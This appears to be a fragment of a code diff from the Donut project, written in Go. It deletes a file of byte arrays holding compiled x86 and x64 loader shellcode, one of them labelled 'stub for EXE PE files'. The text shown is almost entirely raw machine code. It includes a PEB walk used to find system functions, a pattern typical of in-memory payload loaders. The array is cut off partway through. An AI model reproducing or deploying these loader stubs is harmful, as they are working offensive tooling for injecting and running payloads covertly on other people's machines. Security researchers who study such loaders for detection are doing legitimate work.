0x80, 0xf9, 0x70, 0x44, 0x8b, 0xf8, 0x41, 0x0f, 0x44, 0xe9, 0x41, 0x03,
0xd1, 0x44, 0x8b, 0xc2, 0x42, 0x8a, 0x0c, 0x32, 0x84, 0xc9, 0x75, 0xcd,
0x85, 0xd2, 0x0f, 0x84, 0x9f, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0x01, 0xc6,
0x44, 0x14, 0x30, 0x00, 0x4c, 0x03, 0xf1, 0x48, 0x8d, 0x54, 0x24, 0x30,
0x48, 0x8b, 0x4e, 0x30, 0xff, 0x57, 0x38, 0x48, 0x8b, 0xd8, 0x41, 0xb9,
0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x8b, 0x45, 0x85, 0xff,
0x74, 0x38, 0x85, 0xed, 0x74, 0x14, 0xff, 0xd3, 0x48, 0x8b, 0xd8, 0x41,
0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x6e, 0xff,
0xff, 0xff, 0x48, 0x8b, 0x13, 0x48, 0x8b, 0xcf, 0xe8, 0x27, 0xec, 0xff,
0xff, 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x55,
0xff, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x28, 0xeb, 0x35, 0x85, 0xed,
0x74, 0x14, 0xff, 0xd3, 0x48, 0x8b, 0xd8, 0x41, 0xb9, 0x01, 0x00, 0x00,
0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x36, 0xff, 0xff, 0xff, 0x48, 0x8b,
0x13, 0x48, 0x8b, 0xcf, 0xe8, 0xef, 0xeb, 0xff, 0xff, 0x41, 0xb9, 0x01,
0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x1d, 0xff, 0xff, 0xff, 0x49,
0x8b, 0x45, 0x08, 0x48, 0x89, 0x03, 0xe9, 0x11, 0xff, 0xff, 0xff, 0x48,
0x8b, 0x36, 0x48, 0x83, 0x7e, 0x30, 0x00, 0x0f, 0x85, 0xfc, 0xfe, 0xff,
0xff, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xc1,
0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x6b, 0x40, 0x49, 0x8b, 0x73, 0x48,
0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f,
0xc3, 0xcc, 0xcc, 0xcc, 0x41, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33,
0xc0, 0xc3, 0xcc, 0xcc, 0x2b, 0xca, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc, 0xcc,
0x44, 0x8b, 0xc2, 0x8b, 0xc1, 0x99, 0x41, 0xf7, 0xf8, 0xc3, 0xcc, 0xcc,
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,
0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x65, 0x48, 0x8b, 0x04,
0x25, 0x30, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xf8, 0x48, 0x8b, 0xf2, 0x48,
0x8b, 0xe9, 0x45, 0x33, 0xd2, 0x4c, 0x8b, 0x48, 0x60, 0x49, 0x8b, 0x41,
0x18, 0x48, 0x8b, 0x58, 0x10, 0xeb, 0x1c, 0x4d, 0x85, 0xd2, 0x75, 0x20,
0x4c, 0x8b, 0xcf, 0x4c, 0x8b, 0xc6, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xcd,
0xe8, 0x5f, 0xe4, 0xff, 0xff, 0x48, 0x8b, 0x1b, 0x4c, 0x8b, 0xd0, 0x48,
0x8b, 0x43, 0x30, 0x48, 0x85, 0xc0, 0x75, 0xdb, 0x48, 0x8b, 0x5c, 0x24,
0x30, 0x49, 0x8b, 0xc2, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74,
0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24,
0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57,
0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, 0x33, 0xf6, 0x45, 0x33,
0xf6, 0x33, 0xed, 0x48, 0x8b, 0xfa, 0x4c, 0x8b, 0xf9, 0x43, 0x8a, 0x0c,
0x3e, 0x84, 0xc9, 0x74, 0x16, 0x41, 0x83, 0xfe, 0x40, 0x74, 0x10, 0x88,
0x4c, 0x34, 0x20, 0x41, 0xff, 0xc6, 0xff, 0xc6, 0x83, 0xfe, 0x10, 0x75,
0x67, 0xeb, 0x53, 0x8b, 0xc6, 0x48, 0x8d, 0x5c, 0x24, 0x20, 0x48, 0x03,
0xd8, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x44, 0x2b,
0xc6, 0x33, 0xd2, 0xe8, 0xcc, 0x04, 0x00, 0x00, 0xc6, 0x03, 0x80, 0x83,
0xfe, 0x0c, 0x72, 0x20, 0x48, 0x8b, 0xd7, 0x48, 0x8d, 0x4c, 0x24, 0x20,
0xe8, 0x57, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x20,
0x48, 0x33, 0xf8, 0x44, 0x8d, 0x42, 0x10, 0xe8, 0xa4, 0x04, 0x00, 0x00,
0x42, 0x8d, 0x04, 0xf5, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc5, 0x89, 0x44,
0x24, 0x2c, 0x48, 0x8b, 0xd7, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x29,
0x00, 0x00, 0x00, 0x48, 0x33, 0xf8, 0x33, 0xf6, 0x85, 0xed, 0x0f, 0x84,
0x75, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0xc7,
0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83,
0xc4, 0x30, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc4, 0x53,
0x48, 0x83, 0xec, 0x10, 0x0f, 0x10, 0x01, 0x48, 0x89, 0x50, 0x10, 0x8b,
0xca, 0x44, 0x8b, 0x40, 0x14, 0x45, 0x33, 0xd2, 0x0f, 0x11, 0x04, 0x24,
0x8b, 0x50, 0xf4, 0x44, 0x8b, 0x58, 0xf0, 0x8b, 0x58, 0xec, 0x44, 0x8b,
0x0c, 0x24, 0x8b, 0xc2, 0xc1, 0xc9, 0x08, 0x41, 0x03, 0xc8, 0x8b, 0xd3,
0x41, 0x33, 0xc9, 0xc1, 0xca, 0x08, 0x41, 0x03, 0xd1, 0x41, 0xc1, 0xc0,
0x03, 0x41, 0x33, 0xd2, 0x41, 0xc1, 0xc1, 0x03, 0x44, 0x33, 0xca, 0x44,
0x33, 0xc1, 0x41, 0xff, 0xc2, 0x41, 0x8b, 0xdb, 0x44, 0x8b, 0xd8, 0x41,
0x83, 0xfa, 0x1b, 0x72, 0xcd, 0x89, 0x4c, 0x24, 0x28, 0x44, 0x89, 0x44,
0x24, 0x2c, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x83, 0xc4, 0x10, 0x5b,
0xc3, 0xcc, 0xcc, 0xcc, 0x45, 0x85, 0xc9, 0x0f, 0x84, 0x44, 0x01, 0x00,
0x00, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10,
0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x78, 0x20, 0x55, 0x48, 0x8b, 0xec,
0x48, 0x83, 0xec, 0x10, 0x4c, 0x8b, 0xd9, 0x48, 0x8d, 0x45, 0xf0, 0x4c,
0x2b, 0xd8, 0x48, 0x8d, 0x72, 0x0f, 0x49, 0x8b, 0xd8, 0x41, 0xbf, 0x10,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xf0, 0x48, 0x3b, 0xc6, 0x77, 0x13,
0x48, 0x8d, 0x45, 0xff, 0x48, 0x3b, 0xc2, 0x72, 0x0a, 0x0f, 0x10, 0x02,
0xf3, 0x0f, 0x7f, 0x45, 0xf0, 0xeb, 0x08, 0x0f, 0x10, 0x02, 0xf3, 0x0f,
0x7f, 0x45, 0xf0, 0x48, 0x8d, 0x4d, 0xf0, 0x41, 0xb8, 0x04, 0x00, 0x00,
0x00, 0x41, 0x8b, 0x04, 0x0b, 0x31, 0x01, 0x48, 0x8d, 0x49, 0x04, 0x49,
0x83, 0xe8, 0x01, 0x75, 0xf0, 0x44, 0x8b, 0x45, 0xfc, 0x49, 0x8b, 0xff,
0x8b, 0x45, 0xf8, 0x44, 0x8b, 0x55, 0xf4, 0x8b, 0x4d, 0xf0, 0x41, 0x03,
0xca, 0x41, 0x03, 0xc0, 0x41, 0xc1, 0xc2, 0x05, 0x44, 0x33, 0xd1, 0x41,
0xc1, 0xc0, 0x08, 0x44, 0x33, 0xc0, 0xc1, 0xc1, 0x10, 0x41, 0x03, 0xc2,
0x41, 0x03, 0xc8, 0x41, 0xc1, 0xc2, 0x07, 0x41, 0xc1, 0xc0, 0x0d, 0x44,
0x33, 0xd0, 0x44, 0x33, 0xc1, 0xc1, 0xc0, 0x10, 0x48, 0x83, 0xef, 0x01,
0x75, 0xcc, 0x44, 0x89, 0x45, 0xfc, 0x44, 0x8d, 0x47, 0x04, 0x89, 0x4d,
0xf0, 0x48, 0x8d, 0x4d, 0xf0, 0x44, 0x89, 0x55, 0xf4, 0x89, 0x45, 0xf8,
0x42, 0x8b, 0x04, 0x19, 0x31, 0x01, 0x48, 0x8d, 0x49, 0x04, 0x49, 0x83,
0xe8, 0x01, 0x75, 0xf0, 0x45, 0x3b, 0xcf, 0x41, 0x8b, 0xc9, 0x41, 0x0f,
0x47, 0xcf, 0x85, 0xc9, 0x74, 0x1c, 0x4c, 0x8d, 0x55, 0xf0, 0x8b, 0xf9,
0x4c, 0x2b, 0xd3, 0x4c, 0x8b, 0xc3, 0x43, 0x8a, 0x04, 0x02, 0x41, 0x30,
0x00, 0x49, 0xff, 0xc0, 0x48, 0x83, 0xef, 0x01, 0x75, 0xf0, 0x44, 0x2b,
0xc9, 0x8b, 0xc1, 0x48, 0x03, 0xd8, 0x45, 0x8b, 0xc7, 0x41, 0x8d, 0x40,
0xff, 0x80, 0x04, 0x10, 0x01, 0x75, 0x08, 0x41, 0xff, 0xc8, 0x45, 0x85,
0xc0, 0x7f, 0xee, 0x45, 0x85, 0xc9, 0x0f, 0x85, 0x07, 0xff, 0xff, 0xff,
0x48, 0x8b, 0x5c, 0x24, 0x20, 0x48, 0x8b, 0x74, 0x24, 0x28, 0x48, 0x8b,
0x7c, 0x24, 0x30, 0x4c, 0x8b, 0x7c, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x10,
0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48,
0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55,
0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x40, 0x8a, 0x01, 0x41, 0x83, 0xce,
0xff, 0x83, 0x65, 0xf4, 0x00, 0x45, 0x33, 0xc9, 0x88, 0x02, 0x33, 0xff,
0x48, 0x8d, 0x42, 0x01, 0x48, 0x8b, 0xda, 0x48, 0x89, 0x45, 0xe8, 0x45,
0x8b, 0xde, 0x48, 0x8d, 0x41, 0x01, 0x48, 0x89, 0x45, 0xe0, 0x8d, 0x77,
0x01, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xf6, 0x01, 0x00, 0x00, 0x85, 0xc0,
0x0f, 0x84, 0xaa, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xe5,
0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x9f, 0x00, 0x00, 0x00, 0x48,
0x8d, 0x4d, 0xe0, 0xe8, 0xd4, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x4e,
0x45, 0x33, 0xc9, 0x45, 0x8d, 0x51, 0x04, 0x48, 0x8d, 0x4d, 0xe0, 0xe8,
0xc0, 0x01, 0x00, 0x00, 0x46, 0x8d, 0x0c, 0x48, 0x44, 0x2b, 0xd6, 0x75,
0xee, 0x45, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x8b, 0x55, 0xe8, 0x48, 0x8b,
0xc2, 0x41, 0x8b, 0xc9, 0x48, 0x2b, 0xc1, 0x8a, 0x00, 0x88, 0x02, 0x48,
0x03, 0xd6, 0x48, 0x89, 0x55, 0xe8, 0xe9, 0x6b, 0x01, 0x00, 0x00, 0x48,
0x8b, 0x45, 0xe8, 0xc6, 0x00, 0x00, 0x48, 0x03, 0xc6, 0x48, 0x89, 0x45,
0xe8, 0xe9, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xe0, 0x44, 0x0f,
0xb6, 0x18, 0x48, 0x03, 0xc6, 0x41, 0x8b, 0xcb, 0x48, 0x89, 0x45, 0xe0,
0x23, 0xce, 0x83, 0xc1, 0x02, 0x41, 0xd1, 0xeb, 0x74, 0x21, 0x48, 0x8b,
0x55, 0xe8, 0x45, 0x8b, 0xc3, 0x49, 0xf7, 0xd8, 0x41, 0x8a, 0x04, 0x10,
0x88, 0x02, 0x48, 0x03, 0xd6, 0x41, 0x03, 0xce, 0x75, 0xf2, 0x48, 0x89,
0x55, 0xe8, 0xe9, 0xfc, 0x00, 0x00, 0x00, 0x8b, 0xfe, 0xe9, 0xf5, 0x00,
0x00, 0x00, 0x44, 0x8b, 0xd6, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0x32, 0x01,
0x00, 0x00, 0x48, 0x8d, 0x4d, 0xe0, 0x46, 0x8d, 0x14, 0x50, 0xe8, 0x25,
0x01, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xe6, 0x45, 0x85, 0xc9, 0x75, 0x48,
0x41, 0x83, 0xfa, 0x02, 0x75, 0x42, 0x44, 0x8b, 0xce, 0x48, 0x8d, 0x4d,
0xe0, 0xe8, 0x0a, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xe0, 0x46, 0x8d,
0x0c, 0x48, 0xe8, 0xfd, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xe6, 0x45,
0x85, 0xc9, 0x0f, 0x84, 0xa7, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8,
0x41, 0x8b, 0xd3, 0x48, 0xf7, 0xda, 0x8a, 0x04, 0x0a, 0x88, 0x01, 0x48,
0x03, 0xce, 0x45, 0x03, 0xce, 0x75, 0xf3, 0xe9, 0x87, 0x00, 0x00, 0x00,
0x48, 0x8b, 0x4d, 0xe0, 0x44, 0x33, 0xce, 0x45, 0x2b, 0xd1, 0x44, 0x8b,
0xce, 0x41, 0xc1, 0xe2, 0x08, 0x44, 0x0f, 0xb6, 0x19, 0x41, 0x81, 0xc3,
0x00, 0xfe, 0xff, 0xff, 0x45, 0x03, 0xda, 0x48, 0x03, 0xce, 0x48, 0x89,
0x4d, 0xe0, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xa5, 0x00, 0x00, 0x00, 0x48,
0x8d, 0x4d, 0xe0, 0x46, 0x8d, 0x0c, 0x48, 0xe8, 0x98, 0x00, 0x00, 0x00,
0x85, 0xc0, 0x75, 0xe6, 0x41, 0x81, 0xfb, 0x00, 0x7d, 0x00, 0x00, 0x41,
0x8d, 0x41, 0x01, 0x41, 0x0f, 0x42, 0xc1, 0x41, 0x81, 0xfb, 0x00, 0x05,
0x00, 0x00, 0x8d, 0x48, 0x01, 0x0f, 0x42, 0xc8, 0x41, 0x81, 0xfb, 0x80,
0x00, 0x00, 0x00, 0x44, 0x8d, 0x41, 0x02, 0x44, 0x0f, 0x43, 0xc1, 0x45,
0x85, 0xc0, 0x74, 0x1b, 0x48, 0x8b, 0x4d, 0xe8, 0x41, 0x8b, 0xd3, 0x48,
0xf7, 0xda, 0x8a, 0x04, 0x0a, 0x88, 0x01, 0x48, 0x03, 0xce, 0x45, 0x03,
0xc6, 0x75, 0xf3, 0x48, 0x89, 0x4d, 0xe8, 0x44, 0x8b, 0xce, 0xeb, 0x1d,
0x48, 0x8b, 0x55, 0xe0, 0x48, 0x8b, 0x4d, 0xe8, 0x8a, 0x02, 0x88, 0x01,
0x48, 0x03, 0xce, 0x48, 0x03, 0xd6, 0x48, 0x89, 0x4d, 0xe8, 0x48, 0x89,
0x55, 0xe0, 0x45, 0x33, 0xc9, 0x85, 0xff, 0x0f, 0x84, 0x20, 0xfe, 0xff,
0xff, 0x8b, 0x45, 0xe8, 0x48, 0x8b, 0x74, 0x24, 0x58, 0x2b, 0xc3, 0x48,
0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x60, 0x4c, 0x8b, 0x74,
0x24, 0x68, 0x48, 0x83, 0xc4, 0x40, 0x5d, 0xc3, 0x8b, 0x51, 0x14, 0x4c,
0x8b, 0xc1, 0x8d, 0x42, 0xff, 0x89, 0x41, 0x14, 0x85, 0xd2, 0x75, 0x17,
0x48, 0x8b, 0x01, 0x0f, 0xb6, 0x10, 0x48, 0xff, 0xc0, 0x48, 0x89, 0x01,
0x8b, 0xc2, 0xc7, 0x41, 0x14, 0x07, 0x00, 0x00, 0x00, 0xeb, 0x03, 0x8b,
0x41, 0x10, 0x8d, 0x0c, 0x00, 0xc1, 0xe8, 0x07, 0x83, 0xe0, 0x01, 0x41,
0x89, 0x48, 0x10, 0xc3, 0x4c, 0x8b, 0xc9, 0x45, 0x85, 0xc0, 0x74, 0x13,
0x48, 0x2b, 0xd1, 0x42, 0x8a, 0x04, 0x0a, 0x41, 0x88, 0x01, 0x49, 0xff,
0xc1, 0x41, 0x83, 0xc0, 0xff, 0x75, 0xf0, 0x48, 0x8b, 0xc1, 0xc3, 0xcc,
0x48, 0x89, 0x7c, 0x24, 0x08, 0x4c, 0x8b, 0xc9, 0x8a, 0xc2, 0x49, 0x8b,
0xf9, 0x41, 0x8b, 0xc8, 0xf3, 0xaa, 0x48, 0x8b, 0x7c, 0x24, 0x08, 0x49,
0x8b, 0xc1, 0xc3, 0xcc, 0xeb, 0x0f, 0x80, 0x3a, 0x00, 0x74, 0x10, 0x3a,
0x02, 0x75, 0x0c, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc2, 0x8a, 0x01, 0x84,
0xc0, 0x75, 0xeb, 0x0f, 0xbe, 0x01, 0x0f, 0xbe, 0x0a, 0x2b, 0xc1, 0xc3};
-802
View File
@@ -1,802 +0,0 @@
package donut
// LOADER_EXE_X86 - stub for EXE PE files
var LOADER_EXE_X86 = []byte{
0x81, 0xec, 0xcc, 0x02, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24,
0xdc, 0x02, 0x00, 0x00, 0x33, 0xdb, 0x57, 0x8b, 0xfb, 0x8b, 0x86, 0x38,
0x02, 0x00, 0x00, 0x0b, 0x86, 0x3c, 0x02, 0x00, 0x00, 0x0f, 0x84, 0xd4,
0x00, 0x00, 0x00, 0xff, 0x76, 0x2c, 0xff, 0x76, 0x28, 0xff, 0xb6, 0x8c,
0x00, 0x00, 0x00, 0xff, 0xb6, 0x88, 0x00, 0x00, 0x00, 0x56, 0xe8, 0x40,
0x20, 0x00, 0x00, 0x8b, 0xf8, 0x83, 0xc4, 0x14, 0x85, 0xff, 0x0f, 0x84,
0xaa, 0x00, 0x00, 0x00, 0x53, 0x53, 0x56, 0xe8, 0x21, 0x20, 0x00, 0x00,
0x8b, 0xc8, 0xb8, 0x20, 0x21, 0x40, 0x00, 0x2d, 0x75, 0x30, 0x40, 0x00,
0x03, 0xc8, 0x51, 0x53, 0x53, 0xff, 0xd7, 0xff, 0x76, 0x2c, 0x8b, 0xf8,
0xff, 0x76, 0x28, 0xff, 0xb6, 0xbc, 0x01, 0x00, 0x00, 0xff, 0xb6, 0xb8,
0x01, 0x00, 0x00, 0x56, 0xe8, 0xfe, 0x1f, 0x00, 0x00, 0xff, 0x76, 0x2c,
0x8b, 0xe8, 0xff, 0x76, 0x28, 0xff, 0xb6, 0x94, 0x00, 0x00, 0x00, 0xff,
0xb6, 0x90, 0x00, 0x00, 0x00, 0x56, 0xe8, 0xe4, 0x1f, 0x00, 0x00, 0xff,
0x76, 0x2c, 0x8b, 0xd8, 0xff, 0x76, 0x28, 0xff, 0xb6, 0x9c, 0x00, 0x00,
0x00, 0xff, 0xb6, 0x98, 0x00, 0x00, 0x00, 0x56, 0xe8, 0xca, 0x1f, 0x00,
0x00, 0x83, 0xc4, 0x3c, 0x85, 0xed, 0x74, 0x46, 0x85, 0xdb, 0x74, 0x42,
0x85, 0xc0, 0x74, 0x3e, 0x8d, 0x4c, 0x24, 0x10, 0xc7, 0x44, 0x24, 0x10,
0x07, 0x00, 0x01, 0x00, 0x51, 0xff, 0xd0, 0x50, 0xff, 0xd3, 0x8b, 0x86,
0x38, 0x02, 0x00, 0x00, 0x83, 0xa4, 0x24, 0xd4, 0x00, 0x00, 0x00, 0xfc,
0x89, 0x84, 0x24, 0xc8, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x10, 0x6a,
0x00, 0x50, 0xff, 0xd5, 0xeb, 0x0c, 0x83, 0xc8, 0xff, 0xeb, 0x09, 0x56,
0xe8, 0x1f, 0x10, 0x00, 0x00, 0x59, 0x8b, 0xc7, 0x5f, 0x5e, 0x5d, 0x5b,
0x81, 0xc4, 0xcc, 0x02, 0x00, 0x00, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x83,
0xc0, 0x04, 0xf0, 0xff, 0x00, 0x8b, 0x00, 0xc2, 0x04, 0x00, 0xb8, 0x01,
0x40, 0x00, 0x80, 0xc2, 0x08, 0x00, 0x56, 0x57, 0xe8, 0x48, 0x1f, 0x00,
0x00, 0x8b, 0x74, 0x24, 0x10, 0xb9, 0x9d, 0x11, 0x40, 0x00, 0xbf, 0x75,
0x30, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8,
0x2d, 0x1f, 0x00, 0x00, 0xb9, 0x0f, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03,
0xc8, 0x8b, 0x06, 0x89, 0x48, 0x04, 0xe8, 0x1a, 0x1f, 0x00, 0x00, 0xb9,
0xfc, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48,
0x08, 0xe8, 0x07, 0x1f, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b,
0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8, 0xf4, 0x1e, 0x00,
0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
0x5f, 0x89, 0x48, 0x10, 0x8b, 0x44, 0x24, 0x08, 0x83, 0x66, 0x04, 0x00,
0x89, 0x46, 0x08, 0x5e, 0xc3, 0x8b, 0x4c, 0x24, 0x0c, 0x85, 0xc9, 0x75,
0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x4d, 0x53, 0x8b, 0x5c, 0x24,
0x0c, 0x33, 0xd2, 0x56, 0x8b, 0x74, 0x24, 0x0c, 0x57, 0x8b, 0x7e, 0x08,
0x8b, 0x84, 0x97, 0xf4, 0x05, 0x00, 0x00, 0x3b, 0x04, 0x93, 0x75, 0x08,
0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0xeb, 0x14, 0x33, 0xd2, 0x8b, 0x84,
0x97, 0xb4, 0x06, 0x00, 0x00, 0x3b, 0x04, 0x93, 0x75, 0x10, 0x42, 0x83,
0xfa, 0x04, 0x75, 0xee, 0x89, 0x31, 0xf0, 0xff, 0x46, 0x04, 0x33, 0xc0,
0xeb, 0x08, 0x83, 0x21, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e,
0x5b, 0xc2, 0x0c, 0x00, 0x8b, 0x4c, 0x24, 0x04, 0x83, 0xc8, 0xff, 0xf0,
0x0f, 0xc1, 0x41, 0x04, 0x48, 0xc2, 0x04, 0x00, 0x33, 0xc0, 0xc2, 0x08,
0x00, 0x55, 0x8b, 0xec, 0xf6, 0x45, 0x10, 0x02, 0x56, 0x8b, 0x75, 0x08,
0x57, 0x74, 0x15, 0x8b, 0x7d, 0x18, 0x85, 0xff, 0x74, 0x1b, 0x8b, 0x46,
0x1c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x04, 0x8b, 0x46, 0x1c, 0x89, 0x07,
0xf6, 0x45, 0x10, 0x01, 0x74, 0x19, 0x8b, 0x7d, 0x14, 0x85, 0xff, 0x75,
0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x0d, 0x83, 0xc6, 0x14, 0x56,
0x8b, 0x06, 0xff, 0x50, 0x04, 0x89, 0x37, 0x33, 0xc0, 0x5f, 0x5e, 0x5d,
0xc2, 0x14, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x40, 0x2c, 0xff, 0x50,
0x54, 0x8b, 0x4c, 0x24, 0x08, 0x89, 0x01, 0x33, 0xc0, 0xc2, 0x08, 0x00,
0x56, 0x57, 0xe8, 0xfe, 0x1d, 0x00, 0x00, 0x8b, 0x74, 0x24, 0x10, 0xb9,
0xae, 0x13, 0x40, 0x00, 0xbf, 0x75, 0x30, 0x40, 0x00, 0x2b, 0xcf, 0x03,
0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 0xe3, 0x1d, 0x00, 0x00, 0xb9, 0x0f,
0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x04,
0xe8, 0xd0, 0x1d, 0x00, 0x00, 0xb9, 0xfc, 0x11, 0x40, 0x00, 0x2b, 0xcf,
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x08, 0xe8, 0xbd, 0x1d, 0x00, 0x00,
0xb9, 0x5b, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
0x48, 0x0c, 0xe8, 0xaa, 0x1d, 0x00, 0x00, 0xb9, 0x11, 0x12, 0x40, 0x00,
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x10, 0xe8, 0x97, 0x1d,
0x00, 0x00, 0xb9, 0x0c, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b,
0x06, 0x89, 0x48, 0x14, 0xe8, 0x84, 0x1d, 0x00, 0x00, 0xb9, 0xa9, 0x13,
0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x18, 0xe8,
0x71, 0x1d, 0x00, 0x00, 0xb9, 0x0c, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03,
0xc8, 0x8b, 0x06, 0x89, 0x48, 0x1c, 0xe8, 0x5e, 0x1d, 0x00, 0x00, 0xb9,
0x5e, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48,
0x20, 0xe8, 0x4b, 0x1d, 0x00, 0x00, 0xb9, 0x59, 0x13, 0x40, 0x00, 0x2b,
0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x24, 0xe8, 0x38, 0x1d, 0x00,
0x00, 0xb9, 0x59, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
0x5f, 0x89, 0x48, 0x28, 0x8b, 0x44, 0x24, 0x08, 0x83, 0x66, 0x04, 0x00,
0x89, 0x46, 0x2c, 0x5e, 0xc3, 0x33, 0xc0, 0xc2, 0x04, 0x00, 0x55, 0x8b,
0xec, 0x83, 0xec, 0x2c, 0x33, 0xc0, 0x56, 0x6a, 0x20, 0x50, 0x89, 0x45,
0xf4, 0x89, 0x45, 0xf8, 0x89, 0x45, 0xfc, 0x8d, 0x45, 0xd4, 0x50, 0xe8,
0x95, 0x21, 0x00, 0x00, 0x8b, 0x75, 0x0c, 0x8d, 0x4d, 0xd4, 0x83, 0xc4,
0x0c, 0x8b, 0x06, 0x51, 0x56, 0xff, 0x50, 0x0c, 0x85, 0xc0, 0x75, 0x12,
0x8b, 0x06, 0x8d, 0x4d, 0xfc, 0x51, 0x8d, 0x4d, 0xf8, 0x51, 0x8d, 0x4d,
0xf4, 0x51, 0x56, 0xff, 0x50, 0x10, 0x33, 0xc0, 0x5e, 0xc9, 0xc2, 0x08,
0x00, 0x33, 0xc0, 0xc2, 0x0c, 0x00, 0x8b, 0x4c, 0x24, 0x0c, 0x85, 0xc9,
0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x6c, 0x8b, 0x54, 0x24,
0x04, 0x53, 0x8b, 0x5c, 0x24, 0x0c, 0x56, 0x57, 0x8b, 0x7a, 0x2c, 0x33,
0xf6, 0x8b, 0x84, 0xb7, 0xf4, 0x05, 0x00, 0x00, 0x3b, 0x04, 0xb3, 0x75,
